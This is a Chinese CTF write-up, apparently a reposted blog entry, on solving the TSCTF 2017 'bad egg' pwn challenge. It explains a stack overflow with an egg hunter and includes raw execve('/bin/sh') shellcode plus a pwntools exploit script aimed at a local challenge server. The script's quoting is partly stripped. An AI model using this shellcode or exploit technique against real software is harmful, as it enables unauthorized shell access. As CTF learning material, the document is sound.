pwn学习之一

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了pwn学习之一相关的知识,希望对你有一定的参考价值。

  刚刚开始学习pwn,记录一下自己学习的过程。

  今天完成了第一道pwn题目的解答,做的题目是2017年TSCTF的bad egg,通过这道题学习到了一种getshell的方法:通过在大小不够存储shellcode的空间内写入egg_hunter使其去找到真正的shellcode所在的地址执行拿到shell。

  首先拿到题目用ida去查看:

      技术分享

  题目首先通过sub_8B0()生成了一个1000以内的随机数用来给dword_305C申请地址,这里用的malloc申请的地址是存在在堆中的,然后题目会把申请到的这块地址的首地址输出出来,接着又会在堆中申请一个256大小的空间(这里会是后面用来存放shellcode的位置),接着执行sub_9AB()函数。

  进入sub_9AB()函数:

      技术分享

      技术分享

  这个函数逻辑是先申请了int buf,int v2,char haystack[4],这些申请的空间是存在在栈中的,首先要你输入treat or trick?,只有输入treat才会继续执行下面的代码,接着程序会把申请的haystack所在的栈地址告诉你,接下来输入name到haystack,这里read给的max位32位,而haystack只申请的4个字节的空间,所以在这里存在栈溢出,接着是往之前堆中申请的256大小的地址写入数据,然后程序结束。

  为了防止直接在栈上写shellcode本题的栈上可写空间只有20个字节(执行函数先push了参数这里无,然后返回地址4字节,再是ebp4字节,ebx4字节,再第一个int4字节,第二个int4字节再是haystack所以haystack和返回地址之间大小为20个字节),而且对输入进行了"sh"过滤,同时为了防止构造ROP链,题目开了pie保护,即代码段随机化。

  那么解题思路为:将egg_hunter代码写入栈溢出位置,并将返回地址覆盖为造成栈溢出变量的起始地址,然后将egg_hunter的tag以及shellcode写入堆中,程序运行顺序为先写入栈中,再写入堆中,然后到返回地址为栈溢出的起始地址,所以执行egg_hunter程序,到堆中指定地址去找tag,找到了tag后执行随后的shellcode代码拿到shell。

  egg hunter汇编原理:

      技术分享

  其实就是从eax的地址开始一直往下找直到找到内容和ebx的内容相同的地址,然后跳到该地址去执行。

  egg_hunter="\\xb8" + p32(chunk_addr) + "\\xbb\\x8f\\x50\\x90\\x50\\x43\\x40\\x39\\x18\\x75\\xfb\\xff\\xe0\\x01"。chunk_addr是最前面告诉我们的堆的地址。

  shellcode汇编代码:

  技术分享

  意思是通过int80中断,调用号为11,即sys_execve()函数,参数是ebx这里为/bin/sh,即执行了sys_execve(‘/bin/sh‘)。

  shellcode=‘\\x90\\x50\\x90\\x50‘+"\\x90\\x90\\x31\\xc9\\xf7\\xe1\\x51\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\xb0\\x0b\\xcd\\x80\\x90\\x90‘

  前面要加上tag这里是“\\x90\\x50\\x90\\x50”。

  exp:

 1 from pwn import *
 2 #init
 3 debug = 0
 4 if debug:
 5     io = process(./egg)
 6 else:
 7     io = remote(127.0.0.1,2334)
 8 
 9 context.log_level = debug
10 
11 if debug:
12     gdb.attach(pidof(egg)[-1],open(zp))
13 #----------------------------------------------------------------
14 
15 shellcode = \\x90\\x50\\x90\\x50+"\\x90\\x90\\x31\\xc9\\xf7\\xe1\\x51\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\xb0\\x0b\\xcd\\x80\\x90\\x90"
16 print io.recvuntil(seat is )
17 chunk_addr=int(io.recvuntil(\\n),16)
18 print hex(chunk_addr)
19 print io.recvuntil(trick? )
20 io.sendline(treat)
21 print io.recvuntil(located in )
22 stack_addr=int(io.recvuntil(\\n),16)
23 print hex(stack_addr)
24 io.recvuntil(name?\\n)
25 egg_hunter="\\xb8" + p32(chunk_addr) + "\\xbb\\x8f\\x50\\x90\\x50\\x43\\x40\\x39\\x18\\x75\\xfb\\xff\\xe0\\x01"
26 payload = egg_hunter + A*(20-len(egg_hunter)) + p32(stack_addr) 
27 io.sendline(payload)
28 io.recvuntil(here.\\n)
29 io.sendline(shellcode)
30 io.interactive()

pwn题目可用:socat tcp4-listen:2334,fork exec:./egg挂载,然后通过nc ip 2334去访问

bad egg下载地址:http://files.cnblogs.com/files/lllkh/badegg.rar

以上是关于pwn学习之一的主要内容,如果未能解决你的问题,请参考以下文章

译丨Yarn - Javascript 新一代套件管理

Pwn之ROP系列练习

pwn学pwn日记(持续更新)

pwn 之 沙箱机制

[NTUSTISC pwn LAB 5]rop入门实验

PWN菜鸡入门之栈溢出